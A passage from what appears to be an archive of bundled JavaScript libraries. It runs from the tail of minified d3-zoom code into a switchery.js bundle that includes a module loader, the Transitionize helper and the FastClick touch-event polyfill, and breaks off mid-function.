SVGElement?(t=(e=e.ownerSVGElement||e).width.baseVal.value,n=e.height.baseVal.value):(t=e.clientWidth,n=e.clientHeight),[[0,0],[t,n]]}function d(){return this.__zoom||c}function v(){return-n.event.deltaY*(n.event.deltaMode?120:1)/500}function y(){return"ontouchstart"in this}function z(t,n,e){var o=t.invertX(n[0][0])-e[0][0],i=t.invertX(n[1][0])-e[1][0],r=t.invertY(n[0][1])-e[0][1],u=t.invertY(n[1][1])-e[1][1];return t.translate(i>o?(o+i)/2:Math.min(0,o)||Math.max(0,i),u>r?(r+u)/2:Math.min(0,r)||Math.max(0,u))}a.prototype=s.prototype,t.zoom=function(){var t,a,_=m,g=p,k=z,x=v,w=y,M=[0,1/0],T=[[-1/0,-1/0],[1/0,1/0]],b=250,Y=i.interpolateZoom,X=[],q=e.dispatch("start","zoom","end"),E=500,D=150,V=0;function I(t){t.property("__zoom",d).on("wheel.zoom",K).on("mousedown.zoom",O).on("dblclick.zoom",W).filter(w).on("touchstart.zoom",Z).on("touchmove.zoom",A).on("touchend.zoom touchcancel.zoom",C).style("touch-action","none").style("-webkit-tap-highlight-color","rgba(0,0,0,0)")}function P(t,n){return(n=Math.max(M[0],Math.min(M[1],n)))===t.k?t:new s(n,t.x,t.y)}function S(t,n,e){var o=n[0]-e[0]*t.k,i=n[1]-e[1]*t.k;return o===t.x&&i===t.y?t:new s(t.k,o,i)}function j(t){return[(+t[0][0]+ +t[1][0])/2,(+t[0][1]+ +t[1][1])/2]}function B(t,n,e){t.on("start.zoom",function(){G(this,arguments).start()}).on("interrupt.zoom end.zoom",function(){G(this,arguments).end()}).tween("zoom",function(){var t=arguments,o=G(this,t),i=g.apply(this,t),r=e||j(i),u=Math.max(i[1][0]-i[0][0],i[1][1]-i[0][1]),h=this.__zoom,c="function"==typeof n?n.apply(this,t):n,a=Y(h.invert(r).concat(u/h.k),c.invert(r).concat(u/c.k));return function(t){if(1===t)t=c;else{var n=a(t),e=u/n[2];t=new s(e,r[0]-n[0]*e,r[1]-n[1]*e)}o.zoom(null,t)}})}function G(t,n){for(var e,o=0,i=X.length;o<i;++o)if((e=X[o]).that===t)return e;return new H(t,n)}function H(t,n){this.that=t,this.args=n,this.index=-1,this.active=0,this.extent=g.apply(t,n)}function K(){if(_.apply(this,arguments)){var t=G(this,arguments),e=this.__zoom,o=Math.max(M[0],Math.min(M[1],e.k*Math.pow(2,x.apply(this,arguments)))),i=n.mouse(this);if(t.wheel)t.mouse[0][0]===i[0]&&t.mouse[0][1]===i[1]||(t.mouse[1]=e.invert(t.mouse[0]=i)),clearTimeout(t.wheel);else{if(e.k===o)return;t.mouse=[i,e.invert(i)],r.interrupt(this),t.start()}l(),t.wheel=setTimeout(function(){t.wheel=null,t.end()},D),t.zoom("mouse",k(S(P(e,o),t.mouse[0],t.mouse[1]),t.extent,T))}}function O(){if(!a&&_.apply(this,arguments)){var t=G(this,arguments),e=n.select(n.event.view).on("mousemove.zoom",function(){if(l(),!t.moved){var e=n.event.clientX-u,o=n.event.clientY-h;t.moved=e*e+o*o>V}t.zoom("mouse",k(S(t.that.__zoom,t.mouse[0]=n.mouse(t.that),t.mouse[1]),t.extent,T))},!0).on("mouseup.zoom",function(){e.on("mousemove.zoom mouseup.zoom",null),o.dragEnable(n.event.view,t.moved),l(),t.end()},!0),i=n.mouse(this),u=n.event.clientX,h=n.event.clientY;o.dragDisable(n.event.view),f(),t.mouse=[i,this.__zoom.invert(i)],r.interrupt(this),t.start()}}function W(){if(_.apply(this,arguments)){var t=this.__zoom,e=n.mouse(this),o=t.invert(e),i=t.k*(n.event.shiftKey?.5:2),r=k(S(P(t,i),e,o),g.apply(this,arguments),T);l(),b>0?n.select(this).transition().duration(b).call(B,r,e):n.select(this).call(I.transform,r)}}function Z(){if(_.apply(this,arguments)){var e,o,i,u,h=G(this,arguments),s=n.event.changedTouches,c=s.length;for(f(),o=0;o<c;++o)i=s[o],u=[u=n.touch(this,s,i.identifier),this.__zoom.invert(u),i.identifier],h.touch0?h.touch1||(h.touch1=u):(h.touch0=u,e=!0);if(t&&(t=clearTimeout(t),!h.touch1))return h.end(),void((u=n.select(this).on("dblclick.zoom"))&&u.apply(this,arguments));e&&(t=setTimeout(function(){t=null},E),r.interrupt(this),h.start())}}function A(){var e,o,i,r,u=G(this,arguments),h=n.event.changedTouches,s=h.length;for(l(),t&&(t=clearTimeout(t)),e=0;e<s;++e)o=h[e],i=n.touch(this,h,o.identifier),u.touch0&&u.touch0[2]===o.identifier?u.touch0[0]=i:u.touch1&&u.touch1[2]===o.identifier&&(u.touch1[0]=i);if(o=u.that.__zoom,u.touch1){var c=u.touch0[0],a=u.touch0[1],f=u.touch1[0],m=u.touch1[1],p=(p=f[0]-c[0])*p+(p=f[1]-c[1])*p,d=(d=m[0]-a[0])*d+(d=m[1]-a[1])*d;o=P(o,Math.sqrt(p/d)),i=[(c[0]+f[0])/2,(c[1]+f[1])/2],r=[(a[0]+m[0])/2,(a[1]+m[1])/2]}else{if(!u.touch0)return;i=u.touch0[0],r=u.touch0[1]}u.zoom("touch",k(S(o,i,r),u.extent,T))}function C(){var t,e,o=G(this,arguments),i=n.event.changedTouches,r=i.length;for(f(),a&&clearTimeout(a),a=setTimeout(function(){a=null},E),t=0;t<r;++t)e=i[t],o.touch0&&o.touch0[2]===e.identifier?delete o.touch0:o.touch1&&o.touch1[2]===e.identifier&&delete o.touch1;o.touch1&&!o.touch0&&(o.touch0=o.touch1,delete o.touch1),o.touch0?o.touch0[1]=this.__zoom.invert(o.touch0[0]):o.end()}return I.transform=function(t,n){var e=t.selection?t.selection():t;e.property("__zoom",d),t!==e?B(t,n):e.interrupt().each(function(){G(this,arguments).start().zoom(null,"function"==typeof n?n.apply(this,arguments):n).end()})},I.scaleBy=function(t,n){I.scaleTo(t,function(){return this.__zoom.k*("function"==typeof n?n.apply(this,arguments):n)})},I.scaleTo=function(t,n){I.transform(t,function(){var t=g.apply(this,arguments),e=this.__zoom,o=j(t),i=e.invert(o),r="function"==typeof n?n.apply(this,arguments):n;return k(S(P(e,r),o,i),t,T)})},I.translateBy=function(t,n,e){I.transform(t,function(){return k(this.__zoom.translate("function"==typeof n?n.apply(this,arguments):n,"function"==typeof e?e.apply(this,arguments):e),g.apply(this,arguments),T)})},I.translateTo=function(t,n,e){I.transform(t,function(){var t=g.apply(this,arguments),o=this.__zoom,i=j(t);return k(c.translate(i[0],i[1]).scale(o.k).translate("function"==typeof n?-n.apply(this,arguments):-n,"function"==typeof e?-e.apply(this,arguments):-e),t,T)})},H.prototype={start:function(){return 1==++this.active&&(this.index=X.push(this)-1,this.emit("start")),this},zoom:function(t,n){return this.mouse&&"mouse"!==t&&(this.mouse[1]=n.invert(this.mouse[0])),this.touch0&&"touch"!==t&&(this.touch0[1]=n.invert(this.touch0[0])),this.touch1&&"touch"!==t&&(this.touch1[1]=n.invert(this.touch1[0])),this.that.__zoom=n,this.emit("zoom"),this},end:function(){return 0==--this.active&&(X.splice(this.index,1),this.index=-1,this.emit("end")),this},emit:function(t){n.customEvent(new h(I,t,this.that.__zoom),q.apply,q,[t,this.that,this.args])}},I.wheelDelta=function(t){return arguments.length?(x="function"==typeof t?t:u(+t),I):x},I.filter=function(t){return arguments.length?(_="function"==typeof t?t:u(!!t),I):_},I.touchable=function(t){return arguments.length?(w="function"==typeof t?t:u(!!t),I):w},I.extent=function(t){return arguments.length?(g="function"==typeof t?t:u([[+t[0][0],+t[0][1]],[+t[1][0],+t[1][1]]]),I):g},I.scaleExtent=function(t){return arguments.length?(M[0]=+t[0],M[1]=+t[1],I):[M[0],M[1]]},I.translateExtent=function(t){return arguments.length?(T[0][0]=+t[0][0],T[1][0]=+t[1][0],T[0][1]=+t[0][1],T[1][1]=+t[1][1],I):[[T[0][0],T[0][1]],[T[1][0],T[1][1]]]},I.constrain=function(t){return arguments.length?(k=t,I):k},I.duration=function(t){return arguments.length?(b=+t,I):b},I.interpolate=function(t){return arguments.length?(Y=t,I):Y},I.on=function(){var t=q.on.apply(q,arguments);return t===q?I:t},I.clickDistance=function(t){return arguments.length?(V=(t=+t)*t,I):Math.sqrt(V)},I},t.zoomTransform=a,t.zoomIdentity=c,Object.defineProperty(t,"__esModule",{value:!0})});
switchery.js000064400000142770151701416170007141 0ustar00
;(function(){

/**
 * Require the module at `name`.
 *
 * @param {String} name
 * @return {Object} exports
 * @api public
 */

function require(name) {
  var module = require.modules[name];
  if (!module) throw new Error('failed to require "' + name + '"');

  if (!('exports' in module) && typeof module.definition === 'function') {
    module.client = module.component = true;
    module.definition.call(this, module.exports = {}, module);
    delete module.definition;
  }

  return module.exports;
}

/**
 * Meta info, accessible in the global scope unless you use AMD option.
 */

require.loader = 'component';

/**
 * Internal helper object, contains a sorting function for semantiv versioning
 */
require.helper = {};
require.helper.semVerSort = function(a, b) {
  var aArray = a.version.split('.');
  var bArray = b.version.split('.');
  for (var i=0; i<aArray.length; ++i) {
    var aInt = parseInt(aArray[i], 10);
    var bInt = parseInt(bArray[i], 10);
    if (aInt === bInt) {
      var aLex = aArray[i].substr((""+aInt).length);
      var bLex = bArray[i].substr((""+bInt).length);
      if (aLex === '' && bLex !== '') return 1;
      if (aLex !== '' && bLex === '') return -1;
      if (aLex !== '' && bLex !== '') return aLex > bLex ? 1 : -1;
      continue;
    } else if (aInt > bInt) {
      return 1;
    } else {
      return -1;
    }
  }
  return 0;
}

/**
 * Find and require a module which name starts with the provided name.
 * If multiple modules exists, the highest semver is used. 
 * This function can only be used for remote dependencies.

 * @param {String} name - module name: `user~repo`
 * @param {Boolean} returnPath - returns the canonical require path if true, 
 *                               otherwise it returns the epxorted module
 */
require.latest = function (name, returnPath) {
  function showError(name) {
    throw new Error('failed to find latest module of "' + name + '"');
  }
  // only remotes with semvers, ignore local files conataining a '/'
  var versionRegexp = /(.*)~(.*)@v?(\d+\.\d+\.\d+[^\/]*)$/;
  var remoteRegexp = /(.*)~(.*)/;
  if (!remoteRegexp.test(name)) showError(name);
  var moduleNames = Object.keys(require.modules);
  var semVerCandidates = [];
  var otherCandidates = []; // for instance: name of the git branch
  for (var i=0; i<moduleNames.length; i++) {
    var moduleName = moduleNames[i];
    if (new RegExp(name + '@').test(moduleName)) {
        var version = moduleName.substr(name.length+1);
        var semVerMatch = versionRegexp.exec(moduleName);
        if (semVerMatch != null) {
          semVerCandidates.push({version: version, name: moduleName});
        } else {
          otherCandidates.push({version: version, name: moduleName});
        } 
    }
  }
  if (semVerCandidates.concat(otherCandidates).length === 0) {
    showError(name);
  }
  if (semVerCandidates.length > 0) {
    var module = semVerCandidates.sort(require.helper.semVerSort).pop().name;
    if (returnPath === true) {
      return module;
    }
    return require(module);
  }
  // if the build contains more than one branch of the same module
  // you should not use this funciton
  var module = otherCandidates.sort(function(a, b) {return a.name > b.name})[0].name;
  if (returnPath === true) {
    return module;
  }
  return require(module);
}

/**
 * Registered modules.
 */

require.modules = {};

/**
 * Register module at `name` with callback `definition`.
 *
 * @param {String} name
 * @param {Function} definition
 * @api private
 */

require.register = function (name, definition) {
  require.modules[name] = {
    definition: definition
  };
};

/**
 * Define a module's exports immediately with `exports`.
 *
 * @param {String} name
 * @param {Generic} exports
 * @api private
 */

require.define = function (name, exports) {
  require.modules[name] = {
    exports: exports
  };
};
require.register("abpetkov~transitionize@0.0.3", function (exports, module) {

/**
 * Transitionize 0.0.3
 * https://github.com/abpetkov/transitionize
 *
 * Authored by Alexander Petkov
 * https://github.com/abpetkov
 *
 * Copyright 2013, Alexander Petkov
 * License: The MIT License (MIT)
 * http://opensource.org/licenses/MIT
 *
 */

/**
 * Expose `Transitionize`.
 */

module.exports = Transitionize;

/**
 * Initialize new Transitionize.
 *
 * @param {Object} element
 * @param {Object} props
 * @api public
 */

function Transitionize(element, props) {
  if (!(this instanceof Transitionize)) return new Transitionize(element, props);

  this.element = element;
  this.props = props || {};
  this.init();
}

/**
 * Detect if Safari.
 *
 * @returns {Boolean}
 * @api private
 */

Transitionize.prototype.isSafari = function() {
  return (/Safari/).test(navigator.userAgent) && (/Apple Computer/).test(navigator.vendor);
};

/**
 * Loop though the object and push the keys and values in an array.
 * Apply the CSS3 transition to the element and prefix with -webkit- for Safari.
 *
 * @api private
 */

Transitionize.prototype.init = function() {
  var transitions = [];

  for (var key in this.props) {
    transitions.push(key + ' ' + this.props[key]);
  }

  this.element.style.transition = transitions.join(', ');
  if (this.isSafari()) this.element.style.webkitTransition = transitions.join(', ');
};
});

require.register("ftlabs~fastclick@v0.6.11", function (exports, module) {
/**
 * @preserve FastClick: polyfill to remove click delays on browsers with touch UIs.
 *
 * @version 0.6.11
 * @codingstandard ftlabs-jsv2
 * @copyright The Financial Times Limited [All Rights Reserved]
 * @license MIT License (see LICENSE.txt)
 */

/*jslint browser:true, node:true*/
/*global define, Event, Node*/


/**
 * Instantiate fast-clicking listeners on the specificed layer.
 *
 * @constructor
 * @param {Element} layer The layer to listen on
 */
function FastClick(layer) {
	'use strict';
	var oldOnClick, self = this;


	/**
	 * Whether a click is currently being tracked.
	 *
	 * @type boolean
	 */
	this.trackingClick = false;


	/**
	 * Timestamp for when when click tracking started.
	 *
	 * @type number
	 */
	this.trackingClickStart = 0;


	/**
	 * The element being tracked for a click.
	 *
	 * @type EventTarget
	 */
	this.targetElement = null;


	/**
	 * X-coordinate of touch start event.
	 *
	 * @type number
	 */
	this.touchStartX = 0;


	/**
	 * Y-coordinate of touch start event.
	 *
	 * @type number
	 */
	this.touchStartY = 0;


	/**
	 * ID of the last touch, retrieved from Touch.identifier.
	 *
	 * @type number
	 */
	this.lastTouchIdentifier = 0;


	/**
	 * Touchmove boundary, beyond which a click will be cancelled.
	 *
	 * @type number
	 */
	this.touchBoundary = 10;


	/**
	 * The FastClick layer.
	 *
	 * @type Element
	 */
	this.layer = layer;

	if (!layer || !layer.nodeType) {
		throw new TypeError('Layer must be a document node');
	}

	/** @type function() */
	this.onClick = function() { return FastClick.prototype.onClick.apply(self, arguments); };

	/** @type function() */
	this.onMouse = function() { return FastClick.prototype.onMouse.apply(self, arguments); };

	/** @type function() */
	this.onTouchStart = function() { return FastClick.prototype.onTouchStart.apply(self, arguments); };

	/** @type function() */
	this.onTouchMove = function() { return FastClick.prototype.onTouchMove.apply(self, arguments); };

	/** @type function() */
	this.onTouchEnd = function() { return FastClick.prototype.onTouchEnd.apply(self, arguments); };

	/** @type function() */
	this.onTouchCancel = function() { return FastClick.prototype.onTouchCancel.apply(self, arguments); };

	if (FastClick.notNeeded(layer)) {
		return;
	}

	// Set up event handlers as required
	if (this.deviceIsAndroid) {
		layer.addEventListener('mouseover', this.onMouse, true);
		layer.addEventListener('mousedown', this.onMouse, true);
		layer.addEventListener('mouseup', this.onMouse, true);
	}

	layer.addEventListener('click', this.onClick, true);
	layer.addEventListener('touchstart', this.onTouchStart, false);
	layer.addEventListener('touchmove', this.onTouchMove, false);
	layer.addEventListener('touchend', this.onTouchEnd, false);
	layer.addEventListener('touchcancel', this.onTouchCancel, false);

	// Hack is required for browsers that don't support Event#stopImmediatePropagation (e.g. Android 2)
	// which is how FastClick normally stops click events bubbling to callbacks registered on the FastClick
	// layer when they are cancelled.
	if (!Event.prototype.stopImmediatePropagation) {
		layer.removeEventListener = function(type, callback, capture) {
			var rmv = Node.prototype.removeEventListener;
			if (type === 'click') {
				rmv.call(layer, type, callback.hijacked || callback, capture);
			} else {
				rmv.call(layer, type, callback, capture);
			}
		};

		layer.addEventListener = function(type, callback, capture) {
			var adv = Node.prototype.addEventListener;
			if (type === 'click') {
				adv.call(layer, type, callback.hijacked || (callback.hijacked = function(event) {
					if (!event.propagationStopped) {
						callback(event);
					}
				}), capture);
			} else {
				adv.call(layer, type, callback, capture);
			}
		};
	}

	// If a handler is already declared in the element's onclick attribute, it will be fired before
	// FastClick's onClick handler. Fix this by pulling out the user-defined handler function and
	// adding it as listener.
	if (typeof layer.onclick === 'function') {

		// Android browser on at least 3.2 requires a new reference to the function in layer.onclick
		// - the old one won't work if passed to addEventListener directly.
		oldOnClick = layer.onclick;
		layer.addEventListener('click', function(event) {
			oldOnClick(event);
		}, false);
		layer.onclick = null;
	}
}


/**
 * Android requires exceptions.
 *
 * @type boolean
 */
FastClick.prototype.deviceIsAndroid = navigator.userAgent.indexOf('Android') > 0;


/**
 * iOS requires exceptions.
 *
 * @type boolean
 */
FastClick.prototype.deviceIsIOS = /iP(ad|hone|od)/.test(navigator.userAgent);


/**
 * iOS 4 requires an exception for select elements.
 *
 * @type boolean
 */
FastClick.prototype.deviceIsIOS4 = FastClick.prototype.deviceIsIOS && (/OS 4_\d(_\d)?/).test(navigator.userAgent);


/**
 * iOS 6.0(+?) requires the target element to be manually derived
 *
 * @type boolean
 */
FastClick.prototype.deviceIsIOSWithBadTarget = FastClick.prototype.deviceIsIOS && (/OS ([6-9]|\d{2})_\d/).test(navigator.userAgent);


/**
 * Determine whether a given element requires a native click.
 *
 * @param {EventTarget|Element} target Target DOM element
 * @returns {boolean} Returns true if the element needs a native click
 */
FastClick.prototype.needsClick = function(target) {
	'use strict';
	switch (target.nodeName.toLowerCase()) {

	// Don't send a synthetic click to disabled inputs (issue #62)
	case 'button':
	case 'select':
	case 'textarea':
		if (target.disabled) {
			return true;
		}

		break;
	case 'input':

		// File inputs need real clicks on iOS 6 due to a browser bug (issue #68)
		if ((this.deviceIsIOS && target.type === 'file') || target.disabled) {
			return true;
		}

		break;
	case 'label':
	case 'video':
		return true;
	}

	return (/\bneedsclick\b/).test(target.className);
};


/**
 * Determine whether a given element requires a call to focus to simulate click into element.
 *
 * @param {EventTarget|Element} target Target DOM element
 * @returns {boolean} Returns true if the element requires a call to focus to simulate native click.
 */
FastClick.prototype.needsFocus = function(target) {
	'use strict';
	switch (target.nodeName.toLowerCase()) {
	case 'textarea':
		return true;
	case 'select':
		return !this.deviceIsAndroid;
	case 'input':
		switch (target.type) {
		case 'button':
		case 'checkbox':
		case 'file':
		case 'image':
		case 'radio':
		case 'submit':
			return false;
		}

		// No point in attempting to focus disabled inputs
		return !target.disabled && !target.readOnly;
	default:
		return (/\bneedsfocus\b/).test(target.className);
	}
};


/**
 * Send a click event to the specified element.
 *
 * @param {EventTarget|Element} targetElement
 * @param {Event} event
 */
FastClick.prototype.sendClick = function(targetElement, event) {
	'use strict';
	var clickEvent, touch;

	// On some Android devices activeElement needs to be blurred otherwise the synthetic click will have no effect (#24)
	if (document.activeElement && document.activeElement !== targetElement) {
		document.activeElement.blur();
	}

	touch = event.changedTouches[0];

	// Synthesise a click event, with an extra attribute so it can be tracked
	clickEvent = document.createEvent('MouseEvents');
	clickEvent.initMouseEvent(this.determineEventType(targetElement), true, true, window, 1, touch.screenX, touch.screenY, touch.clientX, touch.clientY, false, false, false, false, 0, null);
	clickEvent.forwardedTouchEvent = true;
	targetElement.dispatchEvent(clickEvent);
};

FastClick.prototype.determineEventType = function(targetElement) {
	'use strict';

	//Issue #159: Android Chrome Select Box does not open with a synthetic click event
	if (this.deviceIsAndroid && targetElement.tagName.toLowerCase() === 'select') {
		return 'mousedown';
	}

	return 'click';
};


/**
 * @param {EventTarget|Element} targetElement
 */
FastClick.prototype.focus = function(targetElement) {
	'use strict';
	var length;

	// Issue #160: on iOS 7, some input elements (e.g. date datetime) throw a vague TypeError on setSelectionRange. These elements don't have an integer value for the selectionStart and selectionEnd properties, but unfortunately that can't be used for detection because accessing the properties also throws a TypeError. Just check the type instead. Filed as Apple bug #15122724.
	if (this.deviceIsIOS && targetElement.setSelectionRange && targetElement.type.indexOf('date') !== 0 && targetElement.type !== 'time') {
		length = targetElement.value.length;
		targetElement.setSelectionRange(length, length);
	} else {
		targetElement.focus();
	}
};


/**
 * Check whether the given target element is a child of a scrollable layer and if so, set a flag on it.
 *
 * @param {EventTarget|Element} targetElement
 */
FastClick.prototype.updateScrollParent = function(targetElement) {
	'use strict';
	var scrollParent, parentElement;

	scrollParent = targetElement.fastClickScrollParent;

	// Attempt to discover whether the target element is contained within a scrollable layer. Re-check if the
	// target element was moved to another parent.
	if (!scrollParent || !scrollParent.contains(targetElement)) {
		parentElement = targetElement;
		do {
			if (parentElement.scrollHeight > parentElement.offsetHeight) {
				scrollParent = parentElement;
				targetElement.fastClickScrollParent = parentElement;
				break;
			}

			parentElement = parentElement.parentElement;
		} while (parentElement);
	}

	// Always update the scroll top tracker if possible.
	if (scrollParent) {
		scrollParent.fastClickLastScrollTop = scrollParent.scrollTop;
	}
};


/**
 * @param {EventTarget} targetElement
 * @returns {Element|EventTarget}
 */
FastClick.prototype.getTargetElementFromEventTarget = function(eventTarget) {
	'use strict';

	// On some older browsers (notably Safari on iOS 4.1 - see issue #56) the event target may be a text node.
	if (eventTarget.nodeType === Node.TEXT_NODE) {
		return eventTarget.parentNode;
	}

	return eventTarget;
};


/**
 * On touch start, record the position and scroll offset.
 *
 * @param {Event} event
 * @returns {boolean}
 */
FastClick.prototype.onTouchStart = function(event) {
	'use strict';
	var targetElement, touch, selection;

	// Ignore multiple touches, otherwise pinch-to-zoom is prevented if both fingers are on the FastClick element (issue #111).
	if (event.targetTouches.length > 1) {
		return true;
	}

	targetElement = this.getTargetElementFromEventTarget(event.target);
	touch = event.targetTouches[0];

	if (this.deviceIsIOS) {

		// Only trusted events will deselect text on iOS (issue #49)
		selection = window.getSelection();
		if (selection.rangeCount && !selection.isCollapsed) {
			return true;
		}

		if (!this.deviceIsIOS4) {

			// Weird things happen on iOS when an alert or confirm dialog is opened from a click event callback (issue #23):
			// when the user next taps anywhere else on the page, new touchstart and touchend events are dispatched
			// with the same identifier as the touch event that previously triggered the click that triggered the alert.
			// Sadly, there is an issue on iOS 4 that causes some normal touch events to have the same identifier as an
			// immediately preceeding touch event (issue #52), so this fix is unavailable on that platform.
			if (touch.identifier === this.lastTouchIdentifier) {
				event.preventDefault();
				return false;
			}

			this.lastTouchIdentifier = touch.identifier;

			// If the target element is a child of a scrollable layer (using -webkit-overflow-scrolling: touch) and:
			// 1) the user does a fling scroll on the scrollable layer
			// 2) the user stops the fling scroll with another tap
			// then the event.target of the last 'touchend' event will be the element that was under the user's finger
			// when the fling scroll was started, causing FastClick to send a click event to that layer - unless a check
			// is made to ensure that a parent layer was not scrolled before sending a synthetic click (issue #42).
			this.updateScrollParent(targetElement);
		}
	}

	this.trackingClick = true;
	this.trackingClickStart = event.timeStamp;
	this.targetElement = targetElement;

	this.touchStartX = touch.pageX;
	this.touchStartY = touch.pageY;

	// Prevent phantom clicks on fast double-tap (issue #36)
	if ((event.timeStamp - this.lastClickTime) < 200) {
		event.preventDefault();
	}

	return true;
};


/**
 * Based on a touchmove event object, check whether the touch has moved past a boundary since it started.
 *
 * @param {Event} event
 * @returns {boolean}
 */
FastClick.prototype.touchHasMoved = function(event) {
	'use strict';
	var touch = event.changedTouches[0], boundary = this.touchBoundary;

	if (Math.abs(touch.pageX - this.touchStartX) > boundary || Math.abs(touch.pageY - this.touchStartY) > boundary) {
		return true;
	}

	return false;
};


/**
 * Update the last position.
 *
 * @param {Event} event
 * @returns {boolean}
 */
FastClick.prototype.onTouchMove = function(event) {
	'use strict';
	if (!this.trackingClick) {
		return true;
	}

	// If the touch has moved, cancel the click tracking
	if (this.targetElement !== this.getTargetElementFromEventTarget(event.target) || this.touchHasMoved(event)) {
		this.trackingClick = false;
		this.targetElement = null;
	}

	return true;
};


/**
 * Attempt to find the labelled control for the given label element.
 *
 * @param {EventTarget|HTMLLabelElement} labelElement
 * @returns {Element|null}
 */
FastClick.prototype.findControl = function(labelElement) {
	'use strict';

	// Fast path for newer browsers supporting the HTML5 control attribute
	if (labelElement.control !== undefined) {
		return labelElement.control;
	}

	// All browsers under test that support touch events also support the HTML5 htmlFor attribute
	if (labelElement.htmlFor) {
		return document.getElementById(labelElement.htmlFor);
	}

	// If no for attribute exists, attempt to retrieve the first labellable descendant element
	// the list of which is defined here: http://www.w3.org/TR/html5/forms.html#category-label
	return labelElement.querySelector('button, input:not([type=hidden]), keygen, meter, output, progress, select, textarea');
};


/**
 * On touch end, determine whether to send a click event at once.
 *
 * @param {Event} event
 * @returns {boolean}
 */
FastClick.prototype.onTouchEnd = function(event) {
	'use strict';
	var forElement, trackingClickStart, targetTagName, scrollParent, touch, targetElement = this.targetElement;

	if (!this.trackingClick) {
		return true;
	}

	// Prevent phantom clicks on fast double-tap (issue #36)
	if ((event.timeStamp - this.lastClickTime) < 200) {
		this.cancelNextClick = true;
		return true;
	}

	// Reset to prevent wrong click cancel on input (issue #156).
	this.cancelNextClick = false;

	this.lastClickTime = event.timeStamp;

	trackingClickStart = this.trackingClickStart;
	this.trackingClick = false;
	this.trackingClickStart = 0;

	// On some iOS devices, the targetElement supplied with the event is invalid if the layer
	// is performing a transition or scroll, and has to be re-detected manually. Note that
	// for this to function correctly, it must be called *after* the event target is checked!
	// See issue #57; also filed as rdar://13048589 .
	if (this.deviceIsIOSWithBadTarget) {
		touch = event.changedTouches[0];

		// In certain cases arguments of elementFromPoint can be negative, so prevent setting targetElement to null
		targetElement = document.elementFromPoint(touch.pageX - window.pageXOffset, touch.pageY - window.pageYOffset) || targetElement;
		targetElement.fastClickScrollParent = this.targetElement.fastClickScrollParent;
	}

	targetTagName = targetElement.tagName.toLowerCase();
	if (targetTagName === 'label') {
		forElement = this.findControl(targetElement);
		if (forElement) {
			this.focus(targetElement);
			if (this.deviceIsAndroid) {
				return false;
			}

			targetElement = forElement;
		}
	} else if (this.needsFocus(targetElement)) {

		// Case 1: If the touch started a while ago (best guess is 100ms based on tests for issue #36) then focus will be triggered anyway. Return early and unset the target element reference so that the subsequent click will be allowed through.
		// Case 2: Without this exception for input elements tapped when the document is contained in an iframe, then any inputted text won't be visible even though the value attribute is updated as the user types (issue #37).
		if ((event.timeStamp - trackingClickStart) > 100 || (this.deviceIsIOS && window.top !== window && targetTagName === 'input')) {
			this.targetElement = null;
			return false;
		}

		this.focus(targetElement);

		// Select elements need the event to go through on iOS 4, otherwise the selector menu won't open.
		if (!this.deviceIsIOS4 || targetTagName !== 'select') {
			this.targetElement = null;
			event.preventDefault();
		}

		return false;
	}

	if (this.deviceIsIOS && !this.deviceIsIOS4) {

		// Don't send a synthetic click event if the target element is contained within a parent layer that was scrolled
		// and this tap is being used to stop the scrolling (usually initiated by a fling - issue #42).
		scrollParent = targetElement.fastClickScrollParent;
		if (scrollParent && scrollParent.fastClickLastScrollTop !== scrollParent.scrollTop) {
			return true;
		}
	}

	// Prevent the actual click from going though - unless the target node is marked as requiring
	// real clicks or if it is in the whitelist in which case only non-programmatic clicks are permitted.
	if (!this.needsClick(targetElement)) {
		event.preventDefault();
		this.sendClick(targetElement, event);
	}

	return false;
};


/**
 * On touch cancel, stop tracking the click.
 *
 * @returns {void}
 */
FastClick.prototype.onTouchCancel = function() {
	'use strict';
	this.trackingClick = false;
	this.targetElement = null;
};


/**
 * Determine mouse events which should be permitted.
 *
 * @param {Event} event
 * @returns {boolean}
 */
FastClick.prototype.onMouse = function(event) {
	'use strict';

	// If a target element was never set (because a touch event was never fired) allow the event
	if (!this.targetElement) {
		return true;
	}

	if (event.forwardedTouchEvent) {
		return true;
	}

	// Programmatically generated events targeting a specific element should be permitted
	if (!event.cancelable) {
		return true;
	}

	// Derive and check the target element to see whether the mouse event needs to be permitted;
	// unless explicitly enabled, prevent non-touch click events from triggering actions,
	// to prevent ghost/doubleclicks.
	if (!this.needsClick(this.targetElement) || this.cancelNextClick) {

		// Prevent any user-added listeners declared on FastClick element from being fired.
		if (event.stopImmediatePropagation) {
			event.stopImmediatePropagation();
		} else {

			// Part of the hack for browsers that don't support Event#stopImmediatePropagation (e.g. Android 2)
			event.propagationStopped = true;
		}

		// Cancel the event
		event.stopPropagation();
		event.preventDefault();

		return false;
	}

	// If the mouse event is permitted, return true for the action to go through.
	return true;
};


/**
 * On actual clicks, determine whether this is a touch-generated click, a click action occurring
 * naturally after a delay after a touch (which needs to be cancelled to avoid duplication), or
 * an actual click which should be permitted.
 *
 * @param {Event} event
 * @returns {boolean}
 */
FastClick.prototype.onClick = function(event) {
	'use strict';
	var permitted;

	// It's possible for another FastClick-like library delivered with third-party code to fire a click event before FastClick does (issue #44). In that case, set the click-tracking flag back to false and return early. This will cause onTouchEnd to return early.
	if (this.trackingClick) {
		this.targetElement = null;
		this.trackingClick = false;
		return true;
	}

	// Very odd behaviour on iOS (issue #18): if a submit element is present inside a form and the user hits enter in the iOS simulator or clicks the Go button on the pop-up OS keyboard the a kind of 'fake' click event will be triggered with the submit-type input element as the target.
	if (event.target.type === 'submit' && event.detail === 0) {
		return true;
	}

	permitted = this.onMouse(event);

	// Only unset targetElement if the click is not permitted. This will ensure that the check for !targetElement in onMouse fails and the browser's click doesn't go through.
	if (!permitted) {
		this.targetElement = null;
	}

	// If clicks are permitted, return true for the action to go through.
	return permitted;
};


/**
 * Remove all FastClick's event listeners.
 *
 * @returns {void}
 */
FastClick.prototype.destroy = function() {
	'use strict';
	var layer = this.layer;

	if (this.deviceIsAndroid) {
		layer.removeEventListener('mouseover', this.onMouse, true);
		layer.removeEventListener('mousedown', this.onMouse, true);
		layer.removeEventListener('mouseup', this.onMouse, true);
	}

	layer.removeEventListener('click', this.onClick, true);
	layer.removeEventListener('touchstart', this.onTouchStart, false);
	layer.removeEventListener('touchmove', this.onTouchMove, false);
	layer.removeEventListener('touchend', this.onTouchEnd, false);
	layer.removeEventListener('touchcancel', this.onTouchCancel, false);
};


/**
 * Check whether FastClick is needed.
 *
 * @param {Element} layer The layer to listen on
 */
FastClick.notNeeded = function(layer) {
	'use strict';
	var metaViewport;
	var chromeVersion;

	// Devices that don't support touch don't need FastClick
	if (typeof window.ontouchstart === 'undefined') {
		return true;
	}

	// Chrome version - zero for other browsers
